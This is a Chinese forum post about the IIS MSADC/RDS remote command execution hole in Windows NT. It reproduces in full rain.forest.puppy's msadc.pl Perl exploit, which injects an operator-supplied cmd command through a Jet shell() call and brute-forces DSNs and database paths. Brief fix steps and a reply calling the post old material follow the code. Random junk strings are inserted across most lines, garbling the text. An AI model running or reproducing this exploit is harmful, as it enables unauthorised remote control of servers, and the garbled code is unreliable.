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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QRn:=J%W W  
aNh1e^j  
涉及程序: *jqPKK/  
Microsoft NT server jAK`96+D~b  
\)s 3]/"7  
描述: r]K0 ]h@B  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9EY_R&Yq%  
>LRaIU>  
详细: `;8u9Ff  
如果你没有时间读详细内容的话,就删除: pQ6t]DJ4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll U7Sl@-#|  
有关的安全问题就没有了。 %%H. &*i,  
itvy[b-*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  4pOc`  
M KE[Yb?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 <=LsloI  
关于利用ODBC远程漏洞的描述,请参看: 8~XI7g'5x  
,YuWz$aF{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +HVG5l  
{Rh+]=7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 [~rk`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (Nve5  
E].a|4sh  
这里不再论述。 6CzvRvA*P  
,J4a~fPf  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: vU=k8  
7dL=E"WL  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~(L<uFU V  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! F b`7 aFIf  
aWi]t'_  
{  /Q?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ob()+p.kK  
OAQ O J'  
#!perl '3kL=(  
# aABE= 9Y  
# MSADC/RDS 'usage' (aka exploit) script ?f%DVK d  
# $f@-3/V6{  
# by rain.forest.puppy "q#kh,-C  
# 9\;/-0P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6T aT_29  
# beta test and find errors! mfi'>o#  
z4OR UQ  
use Socket; use Getopt::Std; - G2M;]Cn  
getopts("e:vd:h:XR", \%args); X<bj2 w  
;Z<*.f'^fc  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; {b8Y-  
Kps GQM  
if (!defined $args{h} && !defined $args{R}) { w6%CB E2  
print qq~ ur_"m+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /Gu2@m[r  
-h <host> = host you want to scan (ip or domain) )6S}O* 1  
-d <seconds> = delay between calls, default 1 second {;rpgc  
-X = dump Index Server path table, if available (VF4]  
-v = verbose jjlCi<9CQ^  
-e = external dictionary file for step 5 C{Xk/Er5<  
*d*;M>  
Or a -R will resume a command session |"(3]f\  
7=[O6<+o  
~; exit;} t7`Pw33#kY  
29E@e]Y,`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; qSs^}eN  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} oXOO 10  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4Og GZ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 6xQe!d3>s3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} fP4IOlHkE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } a5g{.:NfO  
$@!&ML  
if (!defined $args{R}){ $ret = &has_msadc; ?^A:~"~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,lGwW8$R  
:a<TV9?H0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %>}7 $Y%  
. "cmd /c "; Z["nY&.sI  
$in=<STDIN>; chomp $in; ~5?n&pF  
$command="cmd /c " . $in ; i!-sbwd7  
,Onm!LI=  
if (defined $args{R}) {&load; exit;} 9'r3L)[  
PL2Q!i`[o  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; S:T>oFUot  
&try_btcustmr; n`2"(7Wj  
5 /VB'N#7s  
print "\nStep 2: Trying to make our own DSN..."; nylIP */  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {Q3#]Vu  
5m;wMW<  
print "\nStep 3: Trying known DSNs..."; zEL[%(fnc  
&known_dsn; ?At-   
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print "\nStep 4: Trying known .mdbs..."; L&k$4,Z9  
&known_mdb; }U1{&4Ph  
WmBnc#>gK  
if (defined $args{e}){  x a,LV  
print "\nStep 5: Trying dictionary of DSN names..."; ?B4QTx9B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /9^0YC;Y*  
N.cRZm%  
print "Sorry Charley...maybe next time?\n"; WK5bt2x  
exit; G+yz8@  
~_\2\6%1^n  
############################################################################## @Bwl)G!|  
\) ONy9  
sub sendraw { # ripped and modded from whisker ?UZ yu 4O%  
sleep($delay); # it's a DoS on the server! At least on mine... GM92yi!8  
my ($pstr)=@_; #SUq.A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Sk%|-T(d$  
die("Socket problems\n"); Ceb i9R[  
if(connect(S,pack "SnA4x8",2,80,$target)){ n8ya$bc  
select(S); $|=1; h$h`XBVZe;  
print $pstr; my @in=<S>; /]>{"sS(  
select(STDOUT); close(S); I>zn$d*0  
return @in; h^X.e[  
} else { die("Can't connect...\n"); }} 25KZe s)  
U?C{.@#w  
############################################################################## O/"&?)[v  
/ 1GZN *I  
sub make_header { # make the HTTP request FAGVpO[  
my $msadc=<<EOT U9OF0=g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 aM1JG$+7G  
User-Agent: ACTIVEDATA cHd39H9  
Host: $ip d$ 7 b  
Content-Length: $clen u _^=]K;  
Connection: Keep-Alive bhT]zsBK  
2UJ0%k  
ADCClientVersion:01.06 {u][q &n  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 id9T[^h  
Q)dns)_x  
--!ADM!ROX!YOUR!WORLD! 'hWRwP|  
Content-Type: application/x-varg : s3Vl  
Content-Length: $reqlen 9e6{(  
0w&1wee(  
EOT >U.uRq  
; $msadc=~s/\n/\r\n/g; #&gy@!a~  
return $msadc;} t:n|0G(  
B75SLK:h=  
############################################################################## c9={~  
Q&;qFv5-l  
sub make_req { # make the RDS request tr+~@]I+  
my ($switch, $p1, $p2)=@_; ~+ur*3X  
my $req=""; my $t1, $t2, $query, $dsn; (9%%^s]uPT  
0:S)2"I58p  
if ($switch==1){ # this is the btcustmr.mdb query j+_75t`AZ  
$query="Select * from Customers where City=" . make_shell(); Un+Jz ?Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . r4zS,J;,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} GT0'bge  
+?'acn  
elsif ($switch==2){ # this is general make table query ?Fw/c0  
$query="create table AZZ (B int, C varchar(10))"; \`x'g)z(i  
$dsn="$p1";} a#$%xw  
'IszS!kY  
elsif ($switch==3){ # this is general exploit table query KfS^sT  
$query="select * from AZZ where C=" . make_shell(); } 4^UVdz  
$dsn="$p1";} >{8H==P  
3 g&mND  
elsif ($switch==4){ # attempt to hork file info from index server 6dlPS{H#U  
$query="select path from scope()"; =jh:0Q<43+  
$dsn="Provider=MSIDXS;";} upKrr  
#nz$RJsX  
elsif ($switch==5){ # bad query 3~'F^=T.Y  
$query="select"; XCoOs<O:@  
$dsn="$p1";} &GAx*.L  
aKZD4;  
$t1= make_unicode($query); [?2mt`g  
$t2= make_unicode($dsn); c9 c Nlp  
$req = "\x02\x00\x03\x00"; Pl>t\`1:|A  
$req.= "\x08\x00" . pack ("S1", length($t1)); BO|Jrr>  
$req.= "\x00\x00" . $t1 ; =)LpMTz  
$req.= "\x08\x00" . pack ("S1", length($t2)); {5`?0+  
$req.= "\x00\x00" . $t2 ; XjNu|H/  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $x*GvI1D  
return $req;} m+ YgfR  
gw^+[}U#  
############################################################################## /;1FZ<zU  
fZC,%p  
sub make_shell { # this makes the shell() statement on$a]zx'@  
return "'|shell(\"$command\")|'";} l|{<!7a  
v2Y=vr  
############################################################################## ){~.jP=-#  
hd' n"  
sub make_unicode { # quick little function to convert to unicode N0f}q1S<-A  
my ($in)=@_; my $out; m~A/.t%=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } t=#)3C`Q}  
return $out;} -D(!B56_  
E83nEUs  
############################################################################## w8Yff[o  
|Sq>uC)  
sub rdo_success { # checks for RDO return success (this is kludge) $G[##j2  
my (@in) = @_; my $base=content_start(@in); b :00w["  
if($in[$base]=~/multipart\/mixed/){ JZ [&:  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} L`v,:#Y   
return 0;} `1gsrHi4N  
4j5 "{  
############################################################################## @ Ia ~9yOY  
o-_ a0j  
sub make_dsn { # this makes a DSN for us -u{:39y{n  
my @drives=("c","d","e","f"); Z)~ 2{)  
print "\nMaking DSN: "; _JS'~ JO3{  
foreach $drive (@drives) { &V$R@~x  
print "$drive: "; $}@l l^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Yc}b&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" \T?O.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 9)qx0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; V'B 6C#jT  
return 0 if $2 eq "404"; # not found/doesn't exist FgxQ}VvlH  
if($2 eq "200") { s#ykD{ Z  
foreach $line (@results) { v)06`G  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} l3,|r QD  
} return 0;} x,+zw9  
 hT[O5  
############################################################################## vEkz 5$  
rcOmpgew  
sub verify_exists { $Fj7'@1(  
my ($page)=@_; dj#<,e\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); o <y7Ut  
return $results[0];} -c tZ9+LL  
be_t;p`3  
############################################################################## })Jp5vv  
_]g6 3q  
sub try_btcustmr { s$;v )w$  
my @drives=("c","d","e","f"); UZ$p wjC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -9mh|&z`  
BshS@"8r  
foreach $dir (@dirs) { 4{TUoI6ii  
print "$dir -> "; # fun status so you can see progress rlq8J/0/+  
foreach $drive (@drives) { .dV!du  
print "$drive: "; # ditto O;~1M3Ii  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *7ox_ R@  
$reqlenlen=length( "$reqlen" ); P&K~wP]  
$clen= 206 + $reqlenlen + $reqlen; z|Xl%8  
LS`Gg7]S  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); oKUJB.PF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hn-S$3')`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;rX4${h  
X!m/I i$q  
############################################################################## /T?['#:r-)  
hikun 2  
sub odbc_error { ji "*=i  
my (@in)=@_; my $base; lPH]fWt<  
my $base = content_start(@in); *m2:iChY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this I?=Q *og  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @S{,g;8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }.#C9<"}  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rfk';ph  
return $in[$base+4].$in[$base+5].$in[$base+6];} w*?JW  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; F 1BPzRo`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ^J327  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} wS4zAu  
F=cO=5Iz  
############################################################################## I<$lpU_H  
B}vI<?c  
sub verbose { q8U]Hyp(`  
my ($in)=@_; 1t6UI4U!$  
return if !$verbose; /2c?+04+  
print STDOUT "\n$in\n";} vR-/c  
_\[Zr.y  
############################################################################## 3Cpix,Dc  
rl4-nA  
sub save { OHB!ec6W  
my ($p1, $p2, $p3, $p4)=@_; oD.f/hi0|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Fw|5A"9'a'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `Tab'7  
close OUT;} [p(Y|~  
TR#5V@e.m  
############################################################################## K jLj  
'+$2<Ys  
sub load { QDU^yVa_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7%X$6N-X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  #/n\C  
@p=<IN>; close(IN); #JVcl $0Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); j0Q ;OKu  
$target= inet_aton($ip) || die("inet_aton problems"); yd2ouCUV  
print "Resuming to $ip ..."; 8g<3J-7Mm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^ H'|iju  
if($p[1]==1) { 9%4rO\q  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; e|`&K"fnq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Lm8 cY  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); s3q65%D  
if (rdo_success(@results)){print "Success!\n";} _:{XL c  
else { print "failed\n"; verbose(odbc_error(@results));}} N-suBRnW  
elsif ($p[1]==3){ q*2ljcb55  
if(run_query("$p[3]")){ qh=lF_%uj  
print "Success!\n";} else { print "failed\n"; }} )J 0'We  
elsif ($p[1]==4){ IuPwFf)  
if(run_query($drvst . "$p[3]")){ ztf(.~  
print "Success!\n"; } else { print "failed\n"; }} es.`:^A  
exit;} I` /'\cU9  
~(}zp<e|  
############################################################################## +_+}^Nf]Y3  
vHWw*gg(/E  
sub create_table { x ha!.&DO  
my ($in)=@_; bY#>   
$reqlen=length( make_req(2,$in,"") ) - 28; |[gnWNdR$M  
$reqlenlen=length( "$reqlen" ); |g@1qXO3  
$clen= 206 + $reqlenlen + $reqlen; hd\iW7  
my @results=sendraw(make_header() . make_req(2,$in,"")); \i{=%[c  
return 1 if rdo_success(@results); {W@Y4Qqq  
my $temp= odbc_error(@results); verbose($temp); klPc l[.w  
return 1 if $temp=~/Table 'AZZ' already exists/; *NDzU%X8  
return 0;} ^58'*13ZL  
) ><{A  
############################################################################## )5hS;u&b  
@}#$<6|  
sub known_dsn { m|'TPy  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go n *U1 M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", S53[K/dZo  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Nhs]U`s(g  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &}rh+z  
r3#H]c  
foreach $dSn (@dsns) { Ry,jPw5<  
print "."; UeE&rA]  
next if (!is_access("DSN=$dSn")); ,rQznE1e  
if(create_table("DSN=$dSn")){ \ ddbqg?`  
print "$dSn successful\n"; uRJLSt9m  
if(run_query("DSN=$dSn")){ f ^z7K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (ZDRjBth[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ! XA07O[@  
e%"L79Of6)  
############################################################################## ceAK;v o  
lv,<[Hw1  
sub is_access { d!!5'/tmS  
my ($in)=@_;  u"tv6Qp  
$reqlen=length( make_req(5,$in,"") ) - 28; X=-pNwO   
$reqlenlen=length( "$reqlen" ); |Zz3X  
$clen= 206 + $reqlenlen + $reqlen; "{|9Yis=  
my @results=sendraw(make_header() . make_req(5,$in,"")); Z|E( !"zE9  
my $temp= odbc_error(@results); Rom|Bqo;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); BB9Z?}  
return 0;} HnrT;!C~  
K" Y,K  
############################################################################## /8lGP! z  
8xlj:5;(w  
sub run_query { X#IVjc:&L  
my ($in)=@_; +\SbrB P  
$reqlen=length( make_req(3,$in,"") ) - 28; "h\{PoG  
$reqlenlen=length( "$reqlen" ); JQ!D8Ut  
$clen= 206 + $reqlenlen + $reqlen; bc%7-%  
my @results=sendraw(make_header() . make_req(3,$in,"")); $f_Brc:n {  
return 1 if rdo_success(@results); ACc.&,!IZ  
my $temp= odbc_error(@results); verbose($temp); >AV?g8B;  
return 0;} -49OE*uF  
_<&IpT{w+  
############################################################################## KD=T04v  
J %URg=r  
sub known_mdb { u JGYXlLE  
my @drives=("c","d","e","f","g"); }Z"<KF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %=%jy  
my $dir, $drive, $mdb; ewD61Y8-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^<7)w2ns  
{6*h';~  
# this is sparse, because I don't know of many 's+ Fd~ '  
my @sysmdbs=( "\\catroot\\icatalog.mdb", TAIcp*)ZM  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", IYb@@Jzo  
"\\system32\\certmdb.mdb", xqX~nV#TB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }>fL{};Z"  
4, 8gf2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", mbU[fHyV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", &$|k<{j[<f  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =2# C{u.  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ay/ "2pDZ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %#Fd0L  
"\\cfusion\\database\\cfexamples.mdb", Y<I/y  
"\\cfusion\\database\\cfsnippets.mdb", t :sKvJ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", hBO I:4u[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", &K|<7Efx  
"\\cfusion\\brighttiger\\database\\cleam.mdb", oe# :EfT  
"\\cfusion\\database\\smpolicy.mdb", 8 }nA8J  
"\\cfusion\\database\cypress.mdb", }r9f}yX9Q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3;@t {rIin  
"\\website\\cgi-win\\dbsample.mdb", 6(VCQ{  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 77.5 _  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" FX4](oM  
); #these are just RV.*_FG  
foreach $drive (@drives) { 52,pCyU  
foreach $dir (@dirs){ Lr V)}1&5  
foreach $mdb (@sysmdbs) { /!uxP~2U  
print "."; !zVuO*+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Ay22-/C|@  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7JQ5OC3  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ UXnd~DA  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z{7&=$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *4dA(N\k"  
1Hp0,R}  
foreach $drive (@drives) { <{JHFU`^  
foreach $mdb (@mdbs) { A !x" *  
print "."; ym{?vY h  
if(create_table($drv . $drive . $dir . $mdb)){ .YKQ6  
print "\n" . $drive . $dir . $mdb . " successful\n"; m&EwX ^1-  
if(run_query($drv . $drive . $dir . $mdb)){ It!PP1$   
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >x eKO 2o  
} else { print "Something's borked. Use verbose next time\n"; }}}} p3qlVE  
} 4hr;k0sD  
#swzZyM$  
############################################################################## 3#j%F  
b Bb$0HOF  
sub hork_idx { O sbY}*S  
print "\nAttempting to dump Index Server tables...\n"; 25NZIal<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; fr4#< 6,  
$reqlen=length( make_req(4,"","") ) - 28; Yy@;U]R  
$reqlenlen=length( "$reqlen" ); a{mtG{Wc  
$clen= 206 + $reqlenlen + $reqlen; VX2 KE@  
my @results=sendraw2(make_header() . make_req(4,"","")); 1.4]T, `  
if (rdo_success(@results)){ /#GX4&z  
my $max=@results; my $c; my %d; JnlM0jc]`  
for($c=19; $c<$max; $c++){ &>ii2% 4  
$results[$c]=~s/\x00//g; !LVWggk1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; P*BA  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; e%afK@c  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9N:Bu'j&/  
$d{"$1$2"}="";} u I}S9  
foreach $c (keys %d){ print "$c\n"; } m>yk4@a  
} else {print "Index server doesn't seem to be installed.\n"; }} y4tM0h  
G!C2[:[g  
############################################################################## BOQ2;@:3  
tz4MT_f  
sub dsn_dict { Vr D?[&2pE  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); n{6XtIoYq  
while(<IN>){ 6@t4pML  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; h7)^$Hd  
next if (!is_access("DSN=$dSn")); fILINW{Yk)  
if(create_table("DSN=$dSn")){ wm}6$n?Za  
print "$dSn successful\n"; TxoMCN?7c  
if(run_query("DSN=$dSn")){ .9#4qoM'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )O#]Wvr  
print "Something's borked. Use verbose next time\n";}}} 4L85~l  
print "\n"; close(IN);} mVcpYyD|k  
5wmH3g#0  
############################################################################## rbHrG<+7zO  
{OL*E0  
sub sendraw2 { # ripped and modded from whisker u-=S_e  
sleep($delay); # it's a DoS on the server! At least on mine... >k,bHGj?  
my ($pstr)=@_; RY8;bUSR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || q.yS j  
die("Socket problems\n"); &cV$8*2b^  
if(connect(S,pack "SnA4x8",2,80,$target)){ tV<}!~0,*  
print "Connected. Getting data"; KwndY,QD  
open(OUT,">raw.out"); my @in; sU^2I v\%  
select(S); $|=1; print $pstr; M`*B/Fh 2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} KdHR.;*  
close(OUT); select(STDOUT); close(S); return @in; y\$B9KX  
} else { die("Can't connect...\n"); }} R] tHd=kf  
5)+(McJC  
############################################################################## AyB-+oTf(  
)mz [2Sfg  
sub content_start { # this will take in the server headers d kHcG&)  
my (@in)=@_; my $c; 0?qXDO&~  
for ($c=1;$c<500;$c++) { gbL99MZ@~  
if($in[$c] =~/^\x0d\x0a/){ #o SQWC=T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } bHH{bv~Z  
else { return $c+1; }}} *6s B$E_y  
return -1;} # it should never get here actually " ;_bB"q*  
!@{_Qt1  
############################################################################## ^>gRK*,  
s3HwBA  
sub funky { *91iFeKj=  
my (@in)=@_; my $error=odbc_error(@in); >"q0"zrN,  
if($error=~/ADO could not find the specified provider/){ ^hv  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; odMjxWY  
exit;} j#S>8: G  
if($error=~/A Handler is required/){ ,UopGlA ,  
print "\nServer has custom handler filters (they most likely are patched)\n"; eS8tsI  
exit;} ,>A9OTSN\  
if($error=~/specified Handler has denied Access/){ TviC1 {2  
print "\nServer has custom handler filters (they most likely are patched)\n"; @C62%fU{5  
exit;}} ywXerz7dUk  
Y5&Jgn.l  
############################################################################## 1_%jDMYH  
.;ml[DXH  
sub has_msadc { "aHY]E{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); nud,ag  
my $base=content_start(@results); Dq/[ g,(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >d!w&0z>  
return 0;} O+%Y1=S[WQ  
%Qgo0  
######################## ^N#kW-i  
'C)^hj.  
;n$j?n+|  
解决方案: X+)68  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jhjGDF  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Idop!b5!  
~z#Faed=a  
拿出来充数 哈哈
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